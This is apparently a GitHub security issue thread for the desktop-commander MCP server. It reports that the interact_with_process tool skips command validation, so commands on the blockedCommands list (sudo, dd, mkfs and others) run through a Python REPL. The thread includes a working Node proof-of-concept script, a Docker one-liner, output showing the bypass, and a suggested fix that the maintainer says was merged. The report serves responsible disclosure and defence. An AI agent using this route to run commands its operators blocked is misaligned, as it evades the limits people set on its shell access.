interact_with_process bypasses blockedCommands — missing validateCommand() call in interactWithProcess()

[nobugpal]

Summary

The interact_with_process MCP tool does not call commandManager.validateCommand() before sending input to a running process. This means the blockedCommands configuration has zero effect when commands are injected through an interactive process.

How This Differs from Known Limitations

Your SECURITY.md correctly notes that command blocking can be bypassed via substitution and absolute paths (CVE-2025-11490, CVE-2025-11491). Those are bypass techniques against a validation function that does run.

This finding is different: interactWithProcess() has no validation call at all. The startProcess() function correctly calls commandManager.validateCommand() at line ~103 of improved-process-tools.ts, but interactWithProcess() — which sends arbitrary input to running processes — completely skips this step.

Attack Chain

1. start_process("python3 -i")             → ALLOWED
2. interact_with_process(pid,
     "import os; os.system('dd if=/dev/zero of=/tmp/pwned bs=4 count=1')")
   → NO validation check
   → dd executes successfully (EXIT: 0)

All 27+ blocked commands (sudo, dd, mkfs, iptables, etc.) are reachable through this path.

Reproduction

Reproduced in Docker with the recommended Docker setup:

docker run --rm -it node:20-bookworm-slim bash
apt-get update && apt-get install -y python3
mkdir /app && cd /app
npm init -y && npm install @wonderwhy-er/desktop-commander@0.2.43

Then run the assessment script (attached below or available on request).

Verification Output

start_process → dd if=/dev/zero of=/tmp/test bs=4 count=1
  Response: Error: Command not allowed       ← Correctly blocked

interact_with_process → Python os.system("dd if=/dev/zero...")
  Response: 1+0 records in, 1+0 records out, EXIT: 0
  File written: /tmp/BYPASS-*               ← Bypassed

Root Cause

File: src/tools/improved-process-tools.ts

• startProcess(): ✅ has await commandManager.validateCommand(parsed.data.command) at line ~103
• interactWithProcess(): ❌ no call to commandManager.validateCommand()

The fully functional validation method exists in src/command-manager.ts — it handles path normalization, command substitution detection ($(), backticks), and multi-command parsing. It is simply not wired into interactWithProcess().

Suggested Fix

One call in interactWithProcess() before sending input:

if (parsed.data.input) {
  const isValid = await commandManager.validateCommand(parsed.data.input);
  if (!isValid) {
    return { content: [{ type: "text", text: "Input rejected: contains blocked command." }], isError: true };
  }
}

I recognize the project's stated position that these restrictions are guardrails rather than a security boundary. The inconsistency between start_process (enforced) and interact_with_process (unchecked) is worth noting because users who configure blockedCommands based on start_process's behavior may not realize the gap.

Happy to discuss further. Attribution: nobugpal (if desired).

[nobugpal]

Full Reproduction Script

Save this as poc.mjs and run with: node poc.mjs

#!/usr/bin/env node
import { spawn } from "child_process";
import { createInterface } from "readline";
import path from "path";
import { fileURLToPath } from "url";

const CANARY = `BYPASS-${Date.now()}`;
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const serverPath = path.join(__dirname, "node_modules", "@wonderwhy-er", "desktop-commander", "dist", "index.js");

const child = spawn("node", [serverPath], {
  stdio: ["pipe", "pipe", "pipe"],
  env: { ...process.env, DESKTOP_COMMANDER_NO_ONBOARDING: "true" },
});

const pending = new Map();
let msgId = 0;
const rl = createInterface({ input: child.stdout });
rl.on("line", (line) => {
  try { const m = JSON.parse(line); if (m.id !== undefined && pending.has(m.id)) { pending.get(m.id)(m); pending.delete(m.id); } } catch (e) {}
});

function req(method, params = {}) {
  return new Promise((resolve, reject) => {
    const id = ++msgId;
    pending.set(id, resolve);
    child.stdin.write(JSON.stringify({ jsonrpc: "2.0", id, method, params }) + "\n");
    setTimeout(() => { if (pending.has(id)) { pending.delete(id); reject(new Error("Timeout")); } }, 25000);
  });
}
function notif(method, params = {}) {
  child.stdin.write(JSON.stringify({ jsonrpc: "2.0", method, params }) + "\n");
}

async function main() {
  console.log("=== DCMCP-001 PoC ===\n");
  await new Promise((r) => setTimeout(r, 1500));

  await req("initialize", { protocolVersion: "2024-11-05", capabilities: {}, clientInfo: { name: "poc", version: "1" } });
  console.log("✓ Initialized");
  notif("notifications/initialized");
  await new Promise((r) => setTimeout(r, 500));

  // Start Python REPL
  const startResp = await req("tools/call", { name: "start_process", arguments: { command: "python3 -i", timeout_ms: 5000 } });
  const pid = parseInt(JSON.stringify(startResp).match(/PID[:\s]*(\d+)/i)[1]);
  console.log("✓ PID:", pid);
  await new Promise((r) => setTimeout(r, 2000));

  // Read initial output
  await req("tools/call", { name: "read_process_output", arguments: { pid, timeout_ms: 2000 } });

  // BYPASS: send blocked command via interact_with_process
  console.log("\n→ Sending blocked command via interact_with_process...");
  const bypassResp = await req("tools/call", {
    name: "interact_with_process",
    arguments: { pid, input: `import os, sys; r=os.system("dd if=/dev/zero of=/tmp/${CANARY} bs=4 count=1 2>&1"); sys.stdout.flush()`, timeout_ms: 15000 },
  });
  const output = bypassResp.result?.content?.[0]?.text || "";
  console.log("Output:", output.substring(0, 300));

  if (output.includes("EXIT: 0")) {
    console.log("\n✅ VULNERABILITY CONFIRMED: Blocked command executed via interact_with_process");
  } else if (output.includes("not allowed")) {
    console.log("\n🔒 Blocked command was rejected");
  }

  child.kill();
  process.exit(0);
}
main().catch((e) => { console.error(e); child.kill(); process.exit(1); });

Docker One-Liner Test

docker run --rm node:20-bookworm-slim bash -c "\
  apt-get update -qq && apt-get install -y -qq python3 > /dev/null && \
  mkdir /app && cd /app && npm init -y -q && npm install -q @wonderwhy-er/desktop-commander && \
  cat > poc.mjs && node poc.mjs" < poc.mjs

[mvanhorn]

Implemented in #559.